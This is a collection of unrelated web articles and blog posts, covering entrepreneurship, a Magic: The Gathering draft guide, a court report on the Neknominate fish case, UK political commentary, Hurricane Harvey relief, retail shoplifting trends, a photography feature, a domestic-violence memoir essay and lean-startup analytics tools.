diagram, up to the position of program manager – well, besides that, I was constantly expressing interest in other, completely unrelated areas.  I remember that I was fascinated by fractals at that time. I was also into computers and internet, and bought my first books on programming. I started to learn Borland C++ on the bus, while going at the radio. I was literally obsessed with learning new stuff.  And out of curiosity I decided to have a business in the online field. At that time online was something yet to be defined, of course, nobody could predict in 1999 that we will actually have the Internet as we have it today. But I had this unstoppable urge to do something in that field and learn as much as I can.  I started the business so I can learn more of what I liked.  Enthusiasm  The first three years of my company I worked 16 hours a day, no weekends. I actually worked more than 1000 days in a row, and I can tell you in all honesty that I’ve never been tired. Not a single day. I was fueled by enthusiasm.  Enthusiasm is such a gift. It’s a state of your conscience in which you are channeling a lot more energy than usual. But enthusiasm is also a function of what you like and don’t like. You can’t really get excited about something you don’t like, and then spend 16 hours a day, 1000 days in a row on it. You simply can’t.  I was doing something that I liked, soaking myself in a completely new field of activity. I was courageously spending each day looking for ideas, people or resources in order to build something that I truly believed in. Of course I was literally exhaling endorphins.  If I didn’t have enthusiasm I couldn’t make it over the first three years. And my enthusiasm was a consequence of my choices: I was doing something that I loved and with courage and determination. I finally found something that put me in that enthusiasm state and let me there for good.  I started my own business because I was so excited to do something I really loved to do.  ***  As you can see, my drive to start my own business had nothing to do with money. There wasn’t any single mention of the money and profits in my first 4-5 months. I was so confident that things will go well that I simply overlooked this part. And for that period, that was a very clever thing to do, because it allowed me to focus on other, more important areas. Later on, I had some periods in which I overlooked the money flow the same way, but with some disastrous consequences. Maybe I’ll blog about those times some day. Having a business is not at all a pinky lifestyle and every mistake develop a strange tendency to blow everything away.  Starting your own business is not a matter of money and profit. It’s really a matter of courage, curiosity and enthusiasm. Whenever you mix those three fundamental qualities of your being, something big happens in your life.  In my life that mix gave birth to my own business. In your life, that mix can manifest something different, but it will always challenge your core for growth and personal development.  Maybe it will be your relationship that needs courage, curiosity and enthusiasm, maybe it will be your social life. Whatever field it will chose to manifest in, the alignment of courage, curiosity and enthusiasm will change your life for good.  The Catch  I’m sure you already learned by now that “starting your own business” has nothing to do with bank statements and formal certificates of incorporation. It’s all about creating value out of genuine curiosity, with great courage and backed up with enthusiasm.  You can as well work for somebody else as an employee, but if you do that with courage, curiosity and enthusiasm, it would be like you already started your own business, and your boss is just your most important client.
-The Modern Masters 2015 full spoiler is now available and the first thing I like to do to evaluate a set in Limited is look at each archetype.  UW Artifacts  This is a returning archetype from the first Modern Masters, except we now have metalcraft. Building a good deck will require finding the right balance between non-artifact cards such as Somber Hoverguard, Dispatch, Thoughtcast, Myrsmith and cheap artifacts such as Darksteel Citadel, Court Homunculus, Flayer Husk, and Everflowing Chalice.  WB Spirits and Arcane  Oh nostalgia, I started drafting Magic in Kamigawa block. This deck gets a major upgrade from back then… Nameless Inversion! Not only does it trigger cards like Waxmane Baku and Thief of Hope, but you can rebuy it with soulshift.  Prioritize Waxmane Baku, Thief of Hope, Moonlit Strider and Scuttling Death when building your deck, don’t forget that some rather unexciting cards such as Kami of Ancient Law, Terashi’s Grasp, Waking Nightmare, and Otherworldly Journey are all Spirit/arcane related and become better filler cards than you think.  WR Equipment and Double Strike  This strategy is very linear and there seem to be more than enough double strikers in the set to reliably have the amount you need. Mighty Leap and Blades of Velis Vel are at their best here. Kitesail and Apostle’s Blessing both found a home.  Darksteel Axe is your #1 equipment, but there’s a chance Cranial Plating is also stellar if you picked up enough artifacts.  WG Tokens  The game plan is easy, flood the board and cast Fortify, Overwhelm, or Sigil Blessing. Kozilek’s Predator and Nest Invader are both awesome commons on their own and in any deck, this one is no exception. I’m not sure about Root-Kin Ally, but it’s probably good enough.  This archetype in a draft would be fighting with BG tokens and sacrifice decks for all the green tokens producers, so make sure you’re not seated next to someone stealing them!  UB Value  I wonder what the designers were trying to do with this color combination—it is obviously bloodthirst, -1/-1 counters, and proliferate, however it’s very unimpressive. Besides bloodthirst, everything this color is trying to do is play good value cards such as Dimir Guildmage and hopefully premium cards like Mulldrifter, Air Servant, and Spread the Sickness. None of those fit particularly well with aggressive bloodthirst cards because they are slow.  I’m not saying this can’t make a good deck, but it’s going to lack synergy. I suspect you end up in this deck when you have a bunch of premium cards, draw spells, and removal.  UR Elemental  Versatile creatures and ways to play them faster. You can make this color combination more aggressive by going heavy-red with Ashenmoor Gouger, bloodthirst creatures, and just a small touch of blue for tempo with Vapor Snag, Repeal, Narcolepsy, and Aethersnipe.  On the other hand, playing with Smokebraider is SUCH a blast. They even put Incandescent Soulstoke at uncommon. Grab your favorite: Cloud Elemental, Water Servant, or Inner-Flame Igniter and have some fun !  UG Proliferate Graft  Most of these are rather crappy of their own, despite that, they are insane with each other. Imagine playing Steady Progress that puts a counter everywhere AND draws you a card. Thrummingbird gets out of hand—graft becomes insane and Tumble Magnet, good on its own already, is crazy with proliferate.  Thrive is a card that might be good in this deck, but I’m still hesitant.  BR Bloodthirst  I expect this strategy to be among the best, it doesn’t mess around and is lightning fast. Daggerclaw Imp is at its best here, it’s aggressive and should be able to enable bloodthirst most of the time. Mortarpod and Kitesail are also both great enablers. You could maindeck Wrap in Flames as Magmatic Chasm with upside. This deck is basically M12 Limited and Goblin Fireslinger was incredible back then—prioritize him and Vampire Lacerator.  BG Sacrifice  This one is my favorite, it’s close to an Aristocrats deck and the color combination is extremely deep. Many underwhelming cards like Reassembling Skeleton, Tukatongue Thallid, and Culling Dais are actually great in this deck. You can even try to ramp up to Ulamog’s Crusher and other Eldrazi by sacrificing Cathodion and Eldrazi Spawn.  Mortarpod is astonishing. There are a lot of premium cards that other people will take like Bestial Menace, Scatter the Seeds, Pelakka Wurm, and the green Eldrazi Spawn producers, still, you are left with Scavenger Drake, Algae Gharial, Bone Splinters, and Bloodthrone Vampire that should go late because it mainly only fits in this archetype.  RG Domain  Splashing seems to be very rewarding and if you have most of the good fixing you’re having access to the domain and sunburst cards as well. Sylvan Bounty is not exciting, but you’re going to need your land drops and colors. Don’t pick up too many win conditions, Worldheart Phoenix and Dragonsoul Knight should be go very late and those are enough to close a game. You want to build primarily around fixing, ramp, and excellent removal spells.  Splashing a 3rd color?  Even if the most obvious ones are 2-color archetypes, the format allows easy splashes in the form of Wayfarer’s Bauble, Sphere of the Suns, Alloy Myr, Evolving Wilds, and bouncelands.  Don’t be shy to add these amazing spells: Oblivion Ring, Dismember, Mulldrifter, Lightning Bolt, Arrest, Burst Lightning, Narcolepsy, Nameless Inversion, Sunlance, Tribal Flames, Agony Warp, Electrolyze, Necrogenesis, Pillory of the Sleepless, Savage Twister, Vengeful Rebirth, Wrecking Ball and obviously some of the rares and mythics.
-Footage of dare, as part of online drinking phenomenon Neknominate, was seen by RSPCA, which prosecuted 33-year-old  A 33-year-old man who drank four fish in a cocktail of alcohol has walked free from court after admitting animal cruelty.  Paul Wooding, from Ross-on-Wye, Herefordshire, appeared at Hereford magistrates court for sentencing over two offences linked to the online drinking craze Neknominate.  Wooding was given an 18-month conditional discharge for causing unnecessary suffering to an animal and for failing to protect the fish, after being prosecuted by the RSPCA. He admitted both charges in court earlier this month.  In a video recorded at a pub in February, Wooding announces "this is my Neknominate" before downing a pint of wine, gin, vodka, rum and lemonade mixed together – along with the fish.  The footage came to the RSPCA's attention after it was seen on Wooding's Facebook page. Rafe Turner, prosecuting, said it was a vet's opinion that "the fish have been caused pain, based on the video evidence".  The Neknominate phenomenon is understood to have emerged in Australia, and Wooding's case is believed to be the fifth to come to court in the UK in connection with the craze.  After being questioned about the video, Wooding later posted on Facebook: "Some people's lives must be that sad and boring, to get any excitement they have to report me to the RSPCA for my Neknominate."  Wooding told investigators he had been nominated to drink by friends and "something was going around to get some fish, to make it different".  Turner said he told the RSPCA the fish were "little minnows" and he had got them out of his friend's fishtank an hour before carrying out the act.  Wooding said he had drunk about eight pints and six double gins before downing the cocktail at the Golf Inn in Ross-on-Wye.  Chris Morgan, in mitigation, questioned why the prosecution had ever made it to court when "other similar matters" had entailed cautions being issued.  He added: "Yes, those fish may have experienced pain and then died, but they are small fish, nothing more."  He said the offences should be looked at objectively, and that comparing the deaths of the fish to, for example, four horses would be "contrary to common sense".  Morgan said his client was "stupid, irresponsible and ashamed" but had already suffered having been exposed to "public ridicule" and the press spotlight.  He said Wooding had had no idea that drinking the fish was against the law. "If it can ever be said of a crime, that a defendant has learned the error of his ways, it can be said here," said Morgan.  Wooding was also ordered to pay £500 costs and a £15 victim surcharge.
-By 2050, the world’s population is projected to approach nine billion. With more people will come more developed land—a lot more.  Urbanization, agriculture, energy, and mining put 20 percent of the world’s remaining forests, grasslands, and other natural ecosystems at risk of conversion by 2050. With that kind of expansion, there are sure to be harms—namely clean water, clean air, and biodiversity.  To mitigate some of those risks, scientists and geographers at the Nature Conservancy have taken a crucial step by mapping the potential impact that human growth will have on natural lands. It’s the most comprehensive look to date at how major forms of development will take over fragile ecosystems, if left unchecked.  Using publicly available global datasets, the researchers projected how terrestrial ecosystems would be affected by nine sectors: urban and agricultural expansion, fossil fuels (conventional oil and gas, unconventional oil and gas, and coal), renewable energy (solar, wind, and biofuels), and mining.
-All content featured on our charity site is produced by young volunteers with the support and mentoring of our professional production team.  The Boris Johnson Experience  Conference season has come and gone once again. These three tedious weeks of posturing, gaffes, theatrical and shallow soul searching, gaffes, posturing, political infighting, and gaffes dominate autumn for those of us masochistic enough to pay attention to the proceedings. The reward for this political penance is the annual highlight of news coverage in the UK. I am of course referring to the inevitable moment when Jeremy Paxman and Boris Johnson meet in what could inaccurately be described as a battle of wills. More accurately it could be described as the meeting of an irresistible force and an immovable object if one takes “force” to mean “tide of charming insanity” and “immovable” to mean “visibly frustrated and increasingly irate.”  This conflagration of nonsense established its entertainment credentials in 2009 when these two giants of British public life met in a Newsnight interview. After failing to nail Mr Johnson down with his inimitable interviewing style – hardly surprising given that in such situations Boris tends to float like a butterfly and sting like a good natured classics professor – Paxman was driven to relinquishing control of his programme’s broadcasting equipment and allowed Mr Johnson to extol the virtues of David Cameron as a future Prime Minister direct to camera. 2010 brought similar joy when Paxman once again failed to turn the tide of whimsy as Mr Johnson cheerfully answered his questions about relations within the coalition with the revelation that the mooted cable-car across the Thames was to be named after his cabinet colleague Vince Cable, as a sign of unity. Once again conventions of news broadcasting were shattered when, under hard questioning, Boris once again broke the fourth wall and reminded the British public that the unelected and unaccountable Jeremy Paxman enjoyed a comfortable lifestyle on funds drawn from our pockets.  Each year the encounter is a delight and this year’s outing was no different. Whilst an almost familiar rhythm has clearly developed and Paxman now seems more resigned and amused than genuinely irritated, the joy remains palpable for those of us who enjoy politics with a dash of the absurd. The interview opened with Paxman attempting to highlight the apparent gap between Mr Johnson and David Cameron’s diagnoses of British society’s ailments. Mr Johnson has, in the past, described Mr Cameron’s claim that Britain is broken as “piffle” and the reactions of these two Tory giants to recent rioting appear to show this rift growing. Within seconds the line of questioning had descended into semantics over whether – “in common parlance” – a broken camera would or would not retain its function. I will not attempt to narrate how this tangent became prominent. Watch the interview.  Next in Paxman’s crosshairs was the possibility that Mr Johnson might lead the Tory Party once Mr Cameron’s reign ended. Speculation as to Mr Johnson’s future ambitions has surfaced and it was clearly Paxman’s intention to cause embarrassment for the blonde haired bumbler. Once again pantomime dominated politics with Mr Johnson stating that Mr Paxman’s chances of leading the Conservatives were higher than his own and – after further badgering – offered to run Mr Paxman’s campaign. Finally, the exchange descends into jibes about Mr Johnson failure to match Mr Cameron’s first class degree and takes on the tone of two old friends sniping at each other good naturedly over a couple of pints. Paxman maintains the illusion of professionalism until Johnson closes proceedings with the statement that “this is playground stuff,” and his interlocutor is forced to agree. “Playground stuff” it may have been but it was magnificent none the less.  So elated was I that the more mundane fare that proceeded the interview could not satisfy and so I took to the internet with the intention of basking further in the glory of Boris’s oratory. Google threw up some surprises. First, Helen Lewis-Hastley proved herself to be a joyless soul. Admittedly, a writer showing a distaste for the antics of a toff – and worse, a populist toff – is not terribly surprising. What did genuinely surprise me – and perhaps this shows how clouded with happiness my mind had become – was this article from the Huffington Post. It accuses Paxman of “giving Johnson something he rarely does with his subjects – an easy go.” The accusation is a hard one to deny, as are the twitter complaints from Polly Toynbee and Harriet Harman. Mr Johnson is the elected Mayor of London, after all. It’s certainly unimaginable that any other elected official would be treated with the warmth and humour that Boris seems to elicit in the normally fearsome Paxman. This idiosyncratic and – to my knowledge – unique political position that Boris Johnson appears to inhabit is under threat – or at least perhaps should be under threat – not only from his position as a relatively major elected official but also by his increasing credibility. His transition from loveable buffoon to stealth-serious politician (at least in the eyes of the media) is summed up by this Telegraph article which describes his conference speech as “shockingly “on message.”  The question of how the media should scrutinise the inscrutable Boris Johnson will become an increasingly important question if he wins re-election as London’s Mayor. More important still if he – as ridiculous as this sounds – becomes leader of Britain’s ruling political party. I find that I cannot bring myself to criticise Paxman’s rare weakness on this occasion. I find myself reminded of Paul Merton’s words on the subject from 2005: “I would make an exception for Boris definitely… I would be very happy for him to become our PM and represent us throughout the world. Wouldn’t it be great? Just for a week.”
-Trae Tha Truth is a national treasure. The Houston rapper was interviewed on Fox 26 today for his efforts in rescuing victims of Hurricane Harvey and he was riding in a boat to help out.  Trae, riding through the flood water, describes how he started saving people with the boat and assisting the fire department with friends to get to victims. When asked by a Fox 26 reporter why he was braving the elements, Trae gave an answer that showed his compassion and how his experience with the hurricane made him want to help others in need. "I felt helpless yesterday when I had to be rescued, so I know that feeling," he said.  Helping hurricane victims isn't the only way that Trae has been giving back this summer. This July, during his 10th annual Trae Day, the Houston rapper donated 75 scholarships to students in partnership with the Houston Public Library. In an interview with a local Houston ABC affiliate , Trae detailed why he gave away the scholarships. “We were trying to find a way to excite the people, because our reading rates are really low,” Trae said of his donation. “Sometimes you gotta give people that push to make them want to do better as a whole.”  He isn't the only rapper helping the victims of tropical storm Harvey either. Drake, Nicki Minaj and others in hip-hop are also taking concrete steps to aid the people of Houston.  Early this year, Trae dropped his album, Tha Truth Pt. 3 . Post Malone, Young Thug, Lil Durk, D.R.A.M., Maxo Kream, Tee Grizzley and Royce 5’9 all make appearances on the LP.  Trae is undoubtedly a hero for his city. Watch the video of Trae Tha Truth helping Hurricane Harvey victims below.
-DON'T MISS ANY PERSONAL FINANCE COVERAGE DON'T MISS ANY PERSONAL FINANCE COVERAGE prefix = o ns = "urn:schemas-microsoft-com:office:office" / Sign up for prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" / USA TODAY's Personal Finance e-mail newsletter. Every Friday, you'll get a week's worth of USA TODAY's personal finance news and columns. The experienced columnists and reporters at USA TODAY give you the news you need and advice you trust. SIGN UP NOW. IT'S FREE One morning last month, the manager of a Stop & Shop in Methuen, Mass., noticed a man, along with his young daughter, leave the store without paying for several bags of shrimp. When police arrived, they found something else on him, too: 20 cans of baby formula. Call it a sign of the times. Steadily and alarmingly, shoplifting seems to be rising at many retail chains, and experts are pointing at a prime cause: the sputtering economy. "Wages aren't keeping up with inflation, especially the price of food and energy," says Diane Swonk, chief economist at Mesirow Financial. "It just leaves less money for everything else, and that breeds a lot of temptation." Retail and law enforcement experts agree that they've seen an increase in store theft during the current slowdown — and not only from customers. "It's clear that both employee theft and shoplifting are up," says Richard Hollinger, professor of criminology at the University of Florida who compiles the annual National Retail Security Survey. "The most recent rise is being driven by the economy. A lot of people are on the financial edge." When 116 retailers were surveyed recently about shoplifting, 74% said they believed that shoplifting incidents last year had risen from 2006, according to the National Retail Federation. And when a smaller group of retailers were asked about shoplifting so far this year, nearly all said it has continued to rise, says Joe LaRocca, vice president of loss prevention at the National Retail Federation. They also said they felt the economy had been a contributing factor. All told, retail theft is estimated to cost about $40.5 billion a year. And the rest of us, already squeezed by higher gas and food prices, end up paying for it: Stores pass on much of their losses to customers in the form of higher prices. "Retailers can't afford to just eat that loss," Hollinger says. "Their margins aren't large enough. So this hits right on the bottom line, and they're trying to plug up all of these leaks, because the economy is so tight." Among the reasons the sluggish economy is thought to be contributing to rising shoplifting by customers and store employees: •Rising prices and growing debt. "Unfortunately, it's to be expected that when the economy moves into a slowdown, and families have difficulties meeting week-to-week and month-to-month bills, shoplifting is going to go up," says Bruce Hutchinson, professor of economics at the University of Tennessee at Chattanooga. Most police departments don't collect data on the profiles of shoplifting suspects. But some who deal directly with the problem say they've detected a shift. "In general, the shoplifter of the past was mostly trying to fuel a drug habit," says Sgt. Alfred Pratt of the Shrewsbury, Mass., Police Department. "But we've seen a change as the economy has declined. More common, everyday items are being stolen, such as groceries." The district attorney's office in Knoxville, Tenn., says it's seen a similar change. "We get a lot of shoplifters, and I see the trend upward," says Samyah Jubran, a Knox County assistant district attorney general. Now, she says, there's more food theft, and it tends to come from repeat offenders, many of whom seem to be struggling with financial issues. •Fewer store clerks. Squeezed by the tightening economy, stores are looking to trim costs. One easy way is to reduce the number of sales clerks on the floor. With fewer employees greeting people at the door and watching shoppers walk the aisles, it's easier for shoplifters to grab and stash merchandise. In April, when about two dozen retailers were asked about store theft so far this year, LaRocca says, most said they thought that reduced sales and staff cutbacks had been a contributing factor to the rise in theft rates, involving both consumers and employees. If stores "don't have a lot of people on duty in the store, particularly in these big-box stores," Hollinger notes, "it leaves what are called dead zones. That's where shoppers can stuff things up their shirts or in their pocketbooks, take off the tags and do all sorts of things." With fewer employees promoting merchandise, some retailers have felt the need to unlock and display high-price products, such as jewelry and watches, outside their usual glass cases. That might help spark more sales. But it's also likely to lead to more theft, says Mike Keenan, director of loss prevention at Mervyns department stores. Job turnover, whether of sales associates or store managers, is a leading predictor of employee theft, Hollinger says. In 2006, retailers estimated that employee theft had caused 47% of their company losses, according to his most recent National Retail Security Survey. Hollinger's survey found that employees accounted for nearly half the total cost of retail theft. Many employees who are caught are dismissed but not prosecuted. "After dismissal, most are also required to provide civil recovery and pay restitution," Hollinger says. "Just because retailers don't always prosecute does not mean that they do not know where their merchandise and money is going." •Rise in organized retail crime. The economic slowdown has led many shoppers to seek deeply discounted products through the Internet, says Paul Jones of the Retail Industry Leaders Association. Exploiting the opportunity, criminal teams are zeroing in on retail products and selling them cheaply, authorities say. "It's become more lucrative for them," Jones says. Gangs of professional thieves account for $15 billion to $30 billion in retail losses every year, the FBI and the retail federation estimated in 2005. This year, 85% of retailers said they thought they'd been victims of criminal enterprises in the past 12 months, according to a survey the retail federation released this month. The Internet has made it much easier for thieves to sell more stolen items, because "they used to have to sell at a garage sale or flea market or through a fence, and those were generally local," Keenan says. Now, he notes, it's easier to use the Internet to unload products across the country and the world. Many people are willing to grab those deals, even if they suspect they might be buying stolen goods. "Consumers are looking for a big bang for their buck," says Swonk, the economist at Mesirow Financial. "If it's stolen goods, they're going to get it at a better price than at the retailer. It's creating another market." Questionable medicine Yet, doing so could carry health risks in some cases. "We've found that many people buy infant formula through different online auction sites," Jones says. "But they don't know if that merchandise is properly stored, if it has the correct date on it or if it is even the right merchandise." Last week, after a two-year investigation with the FBI and IRS, the San Jose, Calif., Police Department busted a shoplifting ring whose thieves had stolen merchandise from grocery stores and discount retailers. Products that included Pepcid AC, Claritin and Tylenol were sold on the Internet and at flea markets, police said. Last year, the FBI joined with the retail industry, which it relies on for shoplifting data, to pool information and help combat organized retail theft. Only in recent years, though, have a majority of retailers been willing to discuss merchandise theft. "In 1991, when we started this process," Hollinger says, referring to his National Retail Security Survey, "it was like root canal." But shoplifting and employee theft have imposed such financial burdens on retailers that more of them are seeking answers. "It's the single largest category of property crime in America, bar none," Hollinger says. "Bank robberies, car theft — nothing comes close to this." As long as the economy remains weak, many experts think the trend will persist. "When the economy is down, shoplifting and other crime go up," says Mark Zandi, chief economist of Moody's Economy.com. "People are losing jobs or moving from a full-time to a part-time job. But they still have the mortgage to pay and the credit cards to pay." Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read more
-U.S. prison cells are bloated with the bodies of black men, but the restrictive walls of our public imagination imprison black men too: From Emmett Till to Trayvon Martin, they are culturally imagined as "thugs," gangsters, deadbeat dads, emotionless lovers or sexually potent threats.  This stagnant image of the black male is not only offensive in its own right but is also dismissive of those black men who, because of their gender or sexual identities, don't fit the norm.  "I am a Negro faggot, if I believe what movies, TV and rap music say of me," the now-celebrated filmmaker and cultural critic Marlon Riggs once wrote in reference to black masculinity. "Because of my sexuality, I cannot be black. A strong, proud, 'Afrocentric' black man is resolutely heterosexual, not even bisexual. Hence I remain a Negro."  Now, Philadelphia-based multimedia artist Shikeith is using his photography to recast black men as subjects liberated from self-hate, internalized racism, sexism and homophobia. He is reimagining, and reclaiming, black masculinity as an expansive space available to a range of black bodies — gay, bisexual, trans and gender non conforming alike.  Warning: Some images contain nudity.  "Where Troubles Melt Like Lemon Drops," 2013  Where Troubles Melt Like Lemon Drops, 2013 Shikeith Cathey  Shikeith's work, similar to that of contemporary black male artists like Fahamu Pecou and Kehinde Wiley, celebrates and critiques representations of black manhood in our cultural imagination. His images reflect his lived experiences and challenge us to see black men as vulnerable, hurt, feeling, crying, smiling, living, loving and soaring.  In short, they tell the story of his "traumatic journey towards self-hood," and remind us that black men are human.  "Black Boys in Bed," 2014  Black boy in bed, 2014 Shikeith Cathey  "Growing up in the challenging environment of North Philadelphia I was not able to assimilate to the glorified behaviors of the black men around me," Shikeith told Mic. "As a result I was ostracized, and verbally and physically abused for many years. Experiencing that level of homelessness left me broken and depressed for a very long time. I did not know who to be to survive amongst other black boys."  "Dreams in Black and White," 2013  Dreams in black and white, 2013 Shikeith Cathey  "The work I make reaffirms the humanity of black males that has consistently been denied. I aim to dismantle the conceptions that are leading black males to their physical and emotional deaths." Shikeith said. "The truth is black males are often denied at childhood the opportunity to be their authentic selves. I believe the only way to challenge all pre-conceived notions of black manhood."  "Germinate," 2014  "Germinate", 2014 Shikeith Cathey  Shikeith's work is liberating the black male body from the cages of restrictive and dangerous perceptions. "It is necessary that all black males snatch back their narrative and write from their own individual perspectives. Knowing you are free to reside in your masculinity however you see fit I believe will save a lot of lives," he said.  "Not Quite Like the Other Boys," 2013  "Not quite like the other boys", 2013 Shikeith Cathey  "Droplets," 2013  "Droplets", 2013 Shikeith Cathey  "Neuroses in Blossom," 2014  "Neuroses in blossom", 2014 Shikeith Cathey  "Black Boy," 2013  "Black boy", 2013 Shikeith Cathey  "Black Out," 2013  "Black out", 2013 Shikeith Cathey  "The Moment You Doubt You Can Fly, You Cease Forever to Be Able to Do It," 2014  "The Moment You Doubt You Can Fly, You Cease Forever To Be Able to Do It" , 2014 Shikeith Cathey  "Portrait of a Black Boy," 2013  "Portrait Of A Black Boy", 2013 Shikeith Cathey  "Why Do They Forget the Way?" 2013  "Why Do They Forget The Way?" , 2013 Shikeith Cathey  "#Blackmendream," 2014
-My father was, in many ways, a man of discipline, organisation and charisma - a regimental sergeant major no less. One of the very last men to be evacuated from Dunkirk, his third stripe was chalked on to his uniform by an officer when no more senior NCOs were left alive. Parachuted into Crete and Italy, both times under fire, he fought at Monte Casino and was twice mentioned in dispatches. A fellow soldier once told me, "When your father marches on to the parade ground, the birds in the trees stop singing."  In civilian life it was a different story. He was an angry, unhappy and frustrated man who was not able to control his emotions or his hands. As a child I witnessed his repeated violence against my mother, and the terror and misery he caused was such that, if I felt I could have succeeded, I would have killed him. If my mother had attempted it, I would have held him down. For those who struggle to comprehend these feelings in a child, imagine living in an environment of emotional unpredictability, danger and humiliation week after week, year after year, from the age of seven. My childish instinct was to protect my mother, but the man hurting her was my father, whom I respected, admired and feared.  From Monday morning to Friday tea time he worked as a semi-skilled labourer, and was diligent and sober. Often funny and charming, he was always rich in the personal stories of warfare and adventure that thrilled me. But come Friday night, after the pubs closed, we awaited his return with trepidation. I would be in bed but not asleep. I could never sleep until he did; while he was awake we were all at risk. Instead, I would listen for his voice, singing, as he walked home. Certain songs were reassuring: I'll Take You Home Again, Kathleen; I'll Walk Beside You . . . But army songs were not a good sign. And worst of all was silence. When I could only hear footsteps it was the signal to be super-alert.  Our house was small, and when you grow up with domestic violence in a confined space you learn to gauge, very precisely, the temperature of situations. I knew exactly when the shouting was done and a hand was about to be raised – I also knew exactly when to insert a small body between the fist and her face, a skill no child should ever have to learn. Curiously, I never felt fear for myself and he never struck me, an odd moral imposition that would not allow him to strike a child. The situation was barely tolerable: I witnessed terrible things, which I knew were wrong, but there was nowhere to go for help. Worse, there were those who condoned the abuse. I heard police or ambulancemen, standing in our house, say, "She must have provoked him," or, "Mrs Stewart, it takes two to make a fight." They had no idea. The truth is my mother did nothing to deserve the violence she endured. She did not provoke my father, and even if she had, violence is an unacceptable way of dealing with conflict. Violence is a choice a man makes and he alone is responsible for it.  No one came to help. No adult stepped in and took charge. I needed someone else to take over and tell me everything was going to be all right and that it wasn't my fault. I wanted the anger to go away and, while it stayed, I felt responsible. The sense of guilt and loneliness provoked by domestic violence is tainting – and lasting. No one came, but everyone knew. Our small houses were close together. Every Monday morning I walked to school with my head down, praying that I would not encounter a neighbour or school friend who had heard the weekend's rows. I felt ashamed.  Very occasionally one person would come to our aid – Mrs Dixon, our next-door neighbour, the only person who would stand up to my father. She would throw open the door and stand before him, bosom bursting and her mighty weaver's forearm raised in his face. "Come on, Alf Stewart," she would say, "have a go at me." He never did. He calmed down and went to bed. Now I wish I could take Lizzie Dixon's big hand in mine and thank her.  Such experiences are destructive. In my adult life I have struggled to overcome the bad lessons of my father's behaviour, this corrosive example of male irresponsibility. But the most oppressive aspect of these experiences was the loneliness. Very recently, during a falling-out with my girlfriend, I felt again as though I were shut out and alone, not heard or understood. I was neither, but it was such a familiar isolation that it was almost a comfort and consolation.  I managed to find my own refuge in acting. The stage was a far safer place for me than anything I had to live through at home – it offered escape. I could be someone else, in another place, in another time. However, whenever the role called for anger, fury, or the expression of murderous impulses, I was always afraid of what I might unleash if I surrendered myself to those feelings. It was not until 1981, when the director Ronald Eyre asked me to play the psychotic Leontes in The Winter's Tale, that the breakthrough came.  He quietly told me that the play would only work if I gave myself over, completely and totally, to the delusions, madness and murderousness of this man. "If you do that," Ron said, "I will be at your side. I will be available to you 24 hours a day." From that time forward I was never again afraid of my feelings on stage.  The truth is that domestic violence touches many of us. It is very possible that someone you know – a friend, sister, daughter or colleague – is experiencing abuse. One in four women will experience domestic violence at some point in her lifetime. And every week two women are killed by a current or former partner in England and Wales, and 10 women take their own lives as the only way they know how to escape a violent partner. You are almost certainly paying for it. Domestic violence costs around £26bn a year in medical, legal and housing costs.  This violence is not a private matter. Behind closed doors it is shielded and hidden and it only intensifies. It is protected by silence – everyone's silence. Which is why, in 2007, I became patron of Refuge, the national domestic violence charity. Every day the organisation supports more than 1,000 women and children through its national network of refuges and services. At Refuge, women and children are given psychological support to help them overcome the trauma of abuse. A team of independent legal advocates are on hand to protect women at high risk of violence through the legal process.  Thanks to Refuge's tireless campaigning, attitudes have changed. Police tactics have improved and most men are no longer able to get away with beating women. Yet the statistics still make for grim reading. More than two thirds of the residents in Refuge's network of refuges are children. I cannot express how sad – and angry – it makes me to think that we still cannot ensure the safety of women and children in their own homes.  Most people find the idea of violence against women – and sometimes, though rarely, against men - abhorrent, but do nothing to challenge it. More women and children, just like my mother and me, will continue to experience domestic violence unless we all speak out against it. You can do this by supporting Refuge's latest campaign, Four Ways To Speak Out.  Let us know what you think about how domestic violence victims are supported and protected in this country. Email women@theguardian.com or write to Women, The Guardian, Kings Place, 90 York Way, London N1 9GU
-Running a lean startup? You will find here a list of tools you can use during the customer discovery phase.  Survey and Feedback tools  Although people tend to think of Survey Monkey or Survey Gizmo when I mention Survey, I actually think that Google Forms is very good already, and it is free.  Google Forms  Simply go to http://docs.google.com and select “Create new” / “Form” and you will be presented with a very good form designer.  Once you have created your form, Google publishes it and gives you the link, or you can embed it into your own website.  The answers are saved in a spreadsheet. You can be notified each time someone completes the survey, and you can even redirect the user after completion of the survey thanks to a hack.  KissInsights  KissInsights is a new service from the creators of KissMetrics that allows you to display a non-intrusive but highly effective widget on your website or blog.  Depending on which page the user is in, you can choose to ask some specific questions to better understand your user.  UserVoice  You probably know UserVoice or GetSatisfaction that allows you to add a side tab in your pages where users can leave feedback and ask questions. I don’t recommend these services because they are simply inefficient and slow your pages down.  A/B testing  As Ash Maurya mentioned on his blog, depending on whether you are in the Customer Discovery phase or another one, you will be testing different things.  In the Customer Discovery phase, you want to test your unique value proposition (the main tag line on the homepage for example)  I have used the three following tools to A/B test CoachFire and TaskArmy:  Google Website Optimizer is a classic  You can run A/B tests at the page level (send 10% of my traffic to variation1 and the rest in variation2) or multivariate experiments at the page content level.  Visual Website Optimizer is a recent startup that simply rocks  You just have to add a javascript code in your pages and you won’t have to touch your website again each time to create a new A/B test. I found VWO very easy to use with their user friendly designer.  ABingo  If you are writing your application in Ruby on Rails, you can integrate more complex split tests straight from your code.  Analytics  You need to understand your customers/users better. What are they looking for in your website? which sources send better traffic?  I am slowly going away from Google Analytics in favour of Clicky (although this is an affiliate link, I genuinely recommend this tool).  Out of the box, Clicky gives you actionable metrics, rather than a awful lot of useless data.  For example, it allows you to drill down to a visitor level to understand better how the users coming from a specific source interact with your website:  Did I mention that Clicky is real time?  Although a lot of people refer toKissMetrics when someone asks for an analytics tool, I have never understood what value they add in comparison to the other analytics tool like Clicky and Google Analytics. KissMetrics is all about funnel conversion, which any web analytics tool already offers and having to add yet another script on your page isn’t justified by having pretty conversion graphs.  MixPanel is about tracking events and cohorts in your web application (in real time). Something that differentiates MixPanel from other solution is the ability to track server side events too. A perfect use case for MixPanel is tracking the engagement of the users in your Facebook social game.  You can find more tool ideas on the Startup Tools Wiki.  What tools do you use to better understand your customers?(when you are not outside the building interviewing them)
